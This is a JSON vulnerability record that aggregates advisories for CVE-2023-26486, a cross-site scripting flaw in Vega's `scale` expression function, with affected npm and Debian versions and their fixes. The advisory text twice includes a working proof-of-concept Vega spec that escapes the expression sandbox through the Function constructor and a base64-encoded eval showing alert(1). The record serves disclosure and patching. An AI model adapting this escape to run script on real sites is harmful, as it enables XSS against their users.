{"id":"CVE-2023-26486","aliases":["DEBIAN-CVE-2023-26486","EUVD-2023-0871","GHSA-4vq7-882g-wcg4"],"status":"published","title":"Vega `scale` expression function cross site scripting","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00775,"percentile":0.56027,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2023-03-02T23:11:05Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"npm","package":"vega-functions","fixed_in":["5.13.1"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"vega","fixed_in":["5.23.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"vega.js","fixed_in":["5.25.0+ds+~cs5.3.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"vega.js","fixed_in":["5.25.0+ds+~cs5.3.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vega","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.22.1+ds+~3.1.0-4","5.25.0+ds+~cs5.3.0-1","5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-3","5.25.0+ds+~cs5.3.0-4","5.25.0+ds+~cs5.3.0-5","5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"]},{"source":"osv","ecosystem":"Debian:13","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}]},{"source":"osv","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}]},{"source":"osv","ecosystem":"npm","package":"vega","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}]}],"products":[{"vendor":"vega","product":"vega"},{"vendor":"vega-functions_project","product":"vega-functions"},{"vendor":"vega_project","product":"vega"}],"references":[{"url":"https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/vega/vega/releases/tag/v5.23.0","tags":["x_refsource_MISC","x_transferred","Release Notes","web"]},{"url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37","tags":["x_refsource_MISC","x_transferred","Permissions Required","web"]},{"url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6","tags":["x_refsource_MISC","x_transferred","Permissions Required","web"]},{"url":"https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA","tags":["x_refsource_MISC","x_transferred","Exploit","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26486","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4vq7-882g-wcg4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/26xxx/CVE-2023-26486.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-26486","tags":["advisory"]},{"url":"https://github.com/vega/vega","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-26486","title":"Vega `scale` expression function cross site scripting","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","status":"published","published":"2023-03-03T23:48:41.382Z","modified":"2025-02-25T15:01:48.054Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:35:15.434947Z"}],"euvd":[{"id":"EUVD-2023-0871","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","status":"published","published":"2023-03-03T23:48:41Z","modified":"2025-02-25T15:01:48Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:53:24.646946Z"}],"ghsa":[{"id":"GHSA-4vq7-882g-wcg4","title":"Vega Expression Language `scale` expression function Cross Site Scripting","description":"### Summary\nThe Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.\n\n### Details\n\nThe [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`.\n\n### PoC\nThe following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);`\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"data\": [\n    {\n      \"name\": \"XSS PoC\",\n      \"values\": [1],\n      \"transform\": [\n        {\n          \"type\": \"formula\",\n          \"as\": \"amount\",\n          \"expr\": \"scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\\\"YWxlcnQoMSk7\\\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nThis can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA\n\n","status":"published","published":"2023-03-02T23:11:05Z","modified":"2023-03-09T21:58:50Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:47.279442Z"}],"nvd":[{"id":"CVE-2023-26486","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","status":"published","published":"2023-03-04T00:15:15.473Z","modified":"2026-06-17T05:43:26.55Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:07:48.342507Z"}],"osv":[{"id":"CVE-2023-26486","title":"Vega `scale` expression function cross site scripting","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","status":"published","published":"2023-03-03T23:48:41.382Z","modified":"2026-10-28T02:30:48.730781642Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:31.135751Z"},{"id":"DEBIAN-CVE-2023-26486","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.","status":"published","published":"2023-03-04T00:15:15.473Z","modified":"2026-10-26T18:00:38.894083213Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:39.369204Z"},{"id":"GHSA-4vq7-882g-wcg4","title":"Vega Expression Language `scale` expression function Cross Site Scripting","description":"### Summary\nThe Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.\n\n### Details\n\nThe [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`.\n\n### PoC\nThe following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);`\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"data\": [\n    {\n      \"name\": \"XSS PoC\",\n      \"values\": [1],\n      \"transform\": [\n        {\n          \"type\": \"formula\",\n          \"as\": \"amount\",\n          \"expr\": \"scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\\\"YWxlcnQoMSk7\\\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nThis can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA\n\n","status":"published","published":"2023-03-02T23:11:05Z","modified":"2026-09-10T03:49:52.39633424Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}